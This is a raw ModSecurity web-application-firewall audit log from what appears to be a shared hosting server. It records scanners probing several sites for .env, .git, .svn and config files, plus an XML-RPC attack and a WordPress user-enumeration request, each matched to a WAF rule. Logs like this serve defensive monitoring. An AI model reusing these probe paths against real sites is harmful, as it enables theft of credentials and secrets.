/internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f620ec61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a05dc6b258f6d62ac4c8305c8e9df2ea1750035611; expires=Mon, 16 Jun 2025 02:00:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f620ec61-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "aE9sm6pdvXW4_hknQUU4-wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035611426247 677440 (- - -) Stopwatch2: 1750035611426247 677440; combined=2437, p1=523, p2=1811, p3=0, p4=0, p5=102, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f620ec61-Z-- --c24f1e52-A-- [16/Jun/2025:06:30:13.132839 +0530] aE9snJ16HYQp4eDf7R1ZHwAAAAI 185.177.72.210 34570 127.0.0.1 7081 --c24f1e52-B-- GET /:8888/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c24f1e52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a7ef6a534bcbc5d75cd7ae60ee91a3c61750035612; expires=Mon, 16 Jun 2025 02:00:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c24f1e52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/wp-content/.env"] [unique_id "aE9snJ16HYQp4eDf7R1ZHwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035612435409 697493 (- - -) Stopwatch2: 1750035612435409 697493; combined=1754, p1=389, p2=1271, p3=0, p4=0, p5=93, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c24f1e52-Z-- --627fd847-A-- [16/Jun/2025:06:30:25.007122 +0530] aE9sqJ_Rv4EBtUyS5c4JWQAAAAU 128.199.112.101 42824 127.0.0.1 7081 --627fd847-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --627fd847-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --627fd847-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9sqJ_Rv4EBtUyS5c4JWQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035624025101 982078 (- - -) Stopwatch2: 1750035624025101 982078; combined=2150, p1=381, p2=1344, p3=46, p4=70, p5=190, sr=111, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --627fd847-Z-- --6fefbd48-A-- [16/Jun/2025:06:30:36.880320 +0530] aE9ss6pdvXW4_hknQUU5CQAAAAo 2.58.56.113 51016 127.0.0.1 7081 --6fefbd48-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.csquaretech.com X-Real-IP: 2.58.56.113 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 --6fefbd48-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.csquaretech.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --6fefbd48-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.csquaretech.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.csquaretech.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.csquaretech.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9ss6pdvXW4_hknQUU5CQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/csquaretech.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035635923994 956402 (- - -) Stopwatch2: 1750035635923994 956402; combined=1943, p1=357, p2=1482, p3=0, p4=0, p5=104, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6fefbd48-Z-- --78cbc737-A-- [16/Jun/2025:06:30:38.591100 +0530] aE9stZ_Rv4EBtUyS5c4JYAAAAAU 185.177.72.210 51102 127.0.0.1 7081 --78cbc737-B-- GET /:9000/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --78cbc737-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=51d05ea4630ef8ad70b80c20d8c292891750035638; expires=Mon, 16 Jun 2025 02:00:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --78cbc737-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/sites/all/libraries/mailchimp/.env"] [unique_id "aE9stZ_Rv4EBtUyS5c4JYAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035637907540 683624 (- - -) Stopwatch2: 1750035637907540 683624; combined=2258, p1=493, p2=1665, p3=0, p4=0, p5=99, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78cbc737-Z-- --0983b76e-A-- [16/Jun/2025:06:30:41.244607 +0530] aE9suJ16HYQp4eDf7R1ZLQAAAAI 185.177.72.210 54538 127.0.0.1 7081 --0983b76e-B-- GET /debug.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0983b76e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a542e5a18a395abf855cc000f45ee9d61750035641; expires=Mon, 16 Jun 2025 02:00:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0983b76e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/debug.inc"] [unique_id "aE9suJ16HYQp4eDf7R1ZLQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035640512086 732587 (- - -) Stopwatch2: 1750035640512086 732587; combined=155786, p1=483, p2=1897, p3=0, p4=0, p5=76750, sr=166, sw=0, l=0, gc=76656 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0983b76e-Z-- --ab035f5a-A-- [16/Jun/2025:06:30:44.863240 +0530] aE9svNNEcm-DhAkC0ibgEAAAAAY 185.177.72.210 54678 127.0.0.1 7081 --ab035f5a-B-- GET /localhost/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab035f5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82a32e528eb3628fd57914623709c6ee1750035644; expires=Mon, 16 Jun 2025 02:00:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab035f5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/localhost/.env"] [unique_id "aE9svNNEcm-DhAkC0ibgEAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035644199386 663918 (- - -) Stopwatch2: 1750035644199386 663918; combined=2058, p1=354, p2=1611, p3=0, p4=0, p5=93, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab035f5a-Z-- --249b6305-A-- [16/Jun/2025:06:30:49.098685 +0530] aE9swJ_Rv4EBtUyS5c4JZAAAAAU 185.177.72.210 54818 127.0.0.1 7081 --249b6305-B-- GET /config/config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --249b6305-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6afcae48b42c4f1f0f9675eb3bd6b9531750035648; expires=Mon, 16 Jun 2025 02:00:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --249b6305-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/config.inc"] [unique_id "aE9swJ_Rv4EBtUyS5c4JZAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035648425526 673223 (- - -) Stopwatch2: 1750035648425526 673223; combined=1885, p1=311, p2=1479, p3=0, p4=0, p5=95, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --249b6305-Z-- --ec8ea036-A-- [16/Jun/2025:06:30:52.437842 +0530] aE9sw5_Rv4EBtUyS5c4JZQAAAAU 185.177.72.210 46926 127.0.0.1 7081 --ec8ea036-B-- GET /admin.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec8ea036-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5520396c502f609873052146416e91871750035652; expires=Mon, 16 Jun 2025 02:00:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec8ea036-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin.dat"] [unique_id "aE9sw5_Rv4EBtUyS5c4JZQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035651748856 689079 (- - -) Stopwatch2: 1750035651748856 689079; combined=2274, p1=488, p2=1651, p3=0, p4=0, p5=134, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec8ea036-Z-- --e9e12d7f-A-- [16/Jun/2025:06:31:02.177190 +0530] aE9szRqlZKl9zSjMrhQ4DwAAAAE 185.177.72.210 43552 127.0.0.1 7081 --e9e12d7f-B-- GET /:5601/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e9e12d7f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0658b0de7a2d33dff2865034d37805a41750035662; expires=Mon, 16 Jun 2025 02:01:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e9e12d7f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.dev"] [unique_id "aE9szRqlZKl9zSjMrhQ4DwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035661429032 748240 (- - -) Stopwatch2: 1750035661429032 748240; combined=2121, p1=412, p2=1584, p3=0, p4=0, p5=124, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e9e12d7f-Z-- --faf77e4f-A-- [16/Jun/2025:06:31:08.567598 +0530] aE9s0w9THibLN0xLxETz6gAAAAk 185.177.72.210 43836 127.0.0.1 7081 --faf77e4f-B-- GET /:8080/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --faf77e4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c2b8ea584ccc4e46bc252599f6f3216b1750035668; expires=Mon, 16 Jun 2025 02:01:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --faf77e4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/administrateur/.env.staging"] [unique_id "aE9s0w9THibLN0xLxETz6gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035667875203 692459 (- - -) Stopwatch2: 1750035667875203 692459; combined=1629, p1=381, p2=1143, p3=0, p4=0, p5=104, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --faf77e4f-Z-- --2dd25a4a-A-- [16/Jun/2025:06:31:10.549364 +0530] aE9s1TC9bb-fhYp4LpFUogAAAAM 185.177.72.210 52048 127.0.0.1 7081 --2dd25a4a-B-- GET /downloads/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2dd25a4a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=328d1df24c0f59357c59c8a7f51e88521750035670; expires=Mon, 16 Jun 2025 02:01:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2dd25a4a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/downloads/.env"] [unique_id "aE9s1TC9bb-fhYp4LpFUogAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035669872278 677157 (- - -) Stopwatch2: 1750035669872278 677157; combined=1722, p1=395, p2=1230, p3=0, p4=0, p5=96, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2dd25a4a-Z-- --415ac50e-A-- [16/Jun/2025:06:31:17.733349 +0530] aE9s3Z_Rv4EBtUyS5c4JcgAAAAU 185.177.72.210 52332 127.0.0.1 7081 --415ac50e-B-- GET /tmp/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --415ac50e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=40cf1df0f04af298168dcf5b308831781750035677; expires=Mon, 16 Jun 2025 02:01:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --415ac50e-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.svn/entries"] [unique_id "aE9s3Z_Rv4EBtUyS5c4JcgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035677078207 655205 (- - -) Stopwatch2: 1750035677078207 655205; combined=1688, p1=357, p2=1232, p3=0, p4=0, p5=98, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --415ac50e-Z-- --4fde070e-A-- [16/Jun/2025:06:31:18.723079 +0530] aE9s3jC9bb-fhYp4LpFUpQAAAAM 185.177.72.210 52360 127.0.0.1 7081 --4fde070e-B-- GET /:8880/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4fde070e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, 